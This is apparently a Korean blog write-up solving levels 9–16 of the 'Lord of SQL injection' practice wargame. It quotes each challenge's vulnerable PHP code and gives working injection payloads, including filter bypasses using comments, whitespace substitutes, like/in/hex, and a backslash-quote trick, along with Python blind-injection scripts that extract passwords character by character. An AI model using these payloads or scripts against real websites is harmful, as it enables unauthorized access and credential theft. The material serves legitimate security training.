[Lord of SQL injection] 9~16

9. vampire

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

 

문제코드. 아래는 쿼리.

select id from vampire where id=''

 

쿼리는 동일하다. 이번엔 다른 방법으로 필터링을 하고 있다.

$_GET[id] = strtolower($_GET[id]);

 

strtolower 함수를 통해 소문자로 바꿔주고 있다.

$_GET[id] = str_replace("admin","",$_GET[id]);

 

그리고 admin은 아예 없앤다.

어떻게 admin으로 로그인할 수 있을까?

여기서 포인트는 이전 문제처럼 admin이 있으면 오답을 출력하는 것이 아니라 그냥 없애버린다는 것이다. 그렇다면 뭔가를 없앴을 때 admin이 되도록 하면 되지 않는가?

?id=adadminmin이 답이다.(?id=aadmindmin, ?id=admiadminn 등도 가능하다!)

 

10. skeleton

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

 

문제코드. 아래는 쿼리.

select id from prob_skeleton where id='guest' and pw='' and 1=0

 

So easy하다. 뒤의 and 1=0을 그냥 주석 처리시키면 끝이다.

정답은 ?pw=’ or id=’admin’ %23 이다.

11. golem

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

 

문제 코드. 아래는 쿼리.

select id from prob_golem where id='guest' and pw=''

 

pw를 알아내야 하는데 substr을 필터링하고 있다..?!?!

하지만 우리에겐 다른 함수들도 있다~ substr 대신 mid를 사용하고 =(등호) 대신에 like를 사용하면 된다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(10):
    params={'pw':f'' || id like 'admin' && length(pw) like {i} #'}

    res=requests.get(url=url,cookies=cookies,params=params)

    if("<br><h2>Hello admin</h2>" in res.text):
        print('length of pw: ',i)

 

pw의 길이를 알아내는 코드이다. = 대신 like를 사용했다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

flag=''

for i in range(1,9):
    for j in range(40,126):
        params={'pw':f'' || id like 'admin' && mid(pw,{i},1) like '{chr(j)}' #'}
        
        res=requests.get(url=url,cookies=cookies,params=params)
        print(params)

        if("<br><h2>Hello admin</h2>" in res.text):
            print(f'pw {i}번째: ',chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

pw를 알아내는 코드이다. substr 대신 mid 함수를 사용해줬다!

pw를 알아냈당.

성공!

 

12. darknight

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

 

문제 코드. 아래는 쿼리.

select id from prob_darkknight where id='guest' and pw='' and no=

 

pw와 no를 같이 입력 받고 있고, 각각이 필터링하는 것도 다르다. 그리고 최종적으로는 pw를 알아내야 한다!

pw에 아무런 입력을 넣지 않고, no에도 0을 넣는다. 그렇게 해서 뒤의 or를 발생시키고 substr 대신 mid 함수를, = 대신 like를 사용하면 된다!

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(10):
    params={'no' : f'0 || length(pw) like {i} #'}

    res=requests.get(url=url,cookies=cookies,params=params)

    if("<br><h2>Hello admin</h2>" in res.text):
        print('length of pw: ',i)

 

pw 길이 알아내는 코드.

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

flag=''

for i in range(1,9):
    for j in range(40,126):
        #params={'no':f'0 || id like 'admin' && ord(mid(pw,{i},1)) > {j} #'}
        params={"no": f"0 || no>1 and mid(pw,{i},1) like char({j})"}
        res=requests.get(url=url,cookies=cookies,params=params)
        print(params)

        if("Hello admin" in res.text):
            print(f'pw {i}번째: ',chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

pw를 알아내는 코드이다. 잘 안 돌아가길래 조금 수정해주었다.

원래는 파이썬 함수 chr을 사용했지만, sql의 char 함수로 바꿔주었다.

코드의 실행결과는 다음과 같았다.

답은 ?pw=0b70ea1f이다.

성공!

 

13. bugbear

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

 

문제 코드이다. 아래는 쿼리

select id from prob_bugbear where id='guest' and pw='' and no=

 

이전 문제와 비슷한데 이번에는 no에 like, 0x, ‘공백’이 필터링에 추가되었다.

이전에 했던 것처럼 공백은 %09로 대체하고, like는 in으로 대체하면 된다. in은 뒤의 문자열에 괄호를 붙여주면 된다.

길이를 구하는 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(10):
    prm=f'?no=0||id%09in%09("admin")%26%26length(pw)%09in%09("{i}")%09%23'

    res=requests.get(url+prm,cookies=cookies)

    if("Hello admin" in res.text):
        print('length of pw: ',i)

 

코드 실행 결과 pw의 길이는 8이었다.

pw를 하나씩 구하는 코드는 다음과 같다. mid로 하나씩 확인하면서 비교는 hex로 비교해주었다.

hex의 반환 타입은 string이기에 대소 비교는 불가능하지만 일치, 불일치 비교는 가능하다.

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

flag=''
for i in range(1, 9):
        for j in range(32,127):
            param=f"?no=0||id%09in%09("admin")%26%26hex(mid(pw,{i},1))%09in%09(hex({j}))%09%23"
            print(param)
            my_url=url+param
            res=requests.get(my_url, cookies=cookies)
            if("Hello admin" in res.text):
                print(f"{i}번째 문자 → {chr(j)}")
                flag+=chr(j)
                break

print('flag is ',flag)

 

코드 실행 결과는 다음과 같다.

정답은 ?pw=52dc3991 이다.

성공!

 

14. giant

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |n|r|t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

 

문제 코드. 아래는 쿼리

select 1234 fromprob_giant where 1

 

공백과 n, r, t을 필터링하고 있다.

%0b 아니면 %0c를 사용해야겠다.

 

그리고 이번에는 쿼리의 from 절을 조작할 수 있다. 단, strlen 제약으로 인해 1글자 이상을 입력해서는 안된다.

그렇다면 shit에 %0b나 %0c를 입력하면 필터링도 거치지 않고, 1글자 아래의 값으로 처리되므로 통과할 수 있을 것 같다.

정답은 ?shit=%0b이다.

성공!

 

15.assassin

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

 

문제 코드. 쿼리는 아래.

select id from prob_assassin where pw like ''

 

쿼리 문에서 like를 사용하고 있기 때문에 %와 _를 적극 사용하면 될 것 같다. %는 문자열의 형태를 확인하는 것이고, _는 한 문자의 형태를 확인하기에 좋다. 따라서 pw의 앞부분만 알아내고 %를 붙이면 쿼리에 성공하게 된다. _를 사용할거면 길이에 맞게 맞춰줘야 한다.

 

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(1,10):
    find='_'*i
    prm=f'?pw={find}'

    res=requests.get(url+prm,cookies=cookies)

    if("Hello admin" in res.text):
        print('length of admin's pw: ',i)
    elif("Hello guest" in res.text):
        print('length of guest's pw: ',i)

 

길이를 구하는 코드이다. (사실 %가 있기에 필요는 없다 ^^;;)

길이는 8이다.

위에서 guest의 pw만 출력하고 있기에 admin의 pw 길이도 8임을 추측할 수 있다.

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

flag=''

i=0
while(1):
    if (i!=0):
        print('flag is ',flag)
        break
    
    print('guessing flag - ',flag)
    for j in range(32,127):
        if chr(j)=='%' or chr(j)=='_':
            continue
        param="?pw=" + str(flag) + chr(j) + "%"
        print(param)
        my_url=url+param
        res=requests.get(my_url, cookies=cookies)

        if("Hello guest" in res.text):
            flag+=chr(j)
            break

        if("Hello admin" in res.text):
            print(f"{i}번째 문자 → {chr(j)}")
            flag+=chr(j)
            i=1
            break

 

pw를 알아내는 코드이다. 원래는 hello admin만 검사했는데 계속 실패했다. 원인을 생각해보니 guest와 admin의 pw 앞부분이 동일하기에 xx%를 입력하면 admin의 pw 조건을 만족하더라도 guest로 로그인이 되는 것이었다. 따라서 hello guest가 뜨는 경우까지 생각해서 코드를 짰다.

실행 결과는 다음과 같다. admin의 pw와 guest의 pw는 앞의 90은 동일하지만 세번째 자리부터 달라지나 보다. 따라서 ?pw=902%을 입력하면 쿼리에서 admin을 얻어올 수 있다.

성공!

 

16. succubus

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/'/',$_GET[id])) exit("HeHe");
  if(preg_match('/'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

 

문제 코드. 아래는 쿼리.

select id from prob_succubus where id='' and pw=''

 

id와 pw를 입력 받는다. id와 pw 쌍을 알아내기는 힘들기 때문에 id에 입력을 할 때 주석을 잘 활용하면 될 것 같다.

일단 ‘을 필터링하고 있기에 이를 우회해야 할 것 같다.

이때 사용할 수 있는 것은 ‘’이다. 뒤에 나오는 문자는 일반 문자로 인식되기 때문에 싱글 쿼터(’)까지 일반 문자로 인식되도록 할 수 있다. 따라서 해법은 다음과 같다.

  1. id에는 만 입력한다. 그렇게 되면 뒤에 자동으로 따라오는 ‘이 일반 문자로 인식된다.
  2. 다음 부분인 and pw=까지 앞의 ‘와 함께 문자열로 인식되고, pw의 입력 시작에 나오는 ‘으로 문자열이 구성된다. 즉 id에 인식되는 값은 ‘ and pw=이 되는 것이다.
  3. id가 당연히 존재하지 않을 것이기에 or 1=1 #을 pw에 입력하면 쿼리가 성공하게 된다.

따라서 입력은 ?id=&pw=or 1=1 %23 이다.

성공!

 

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤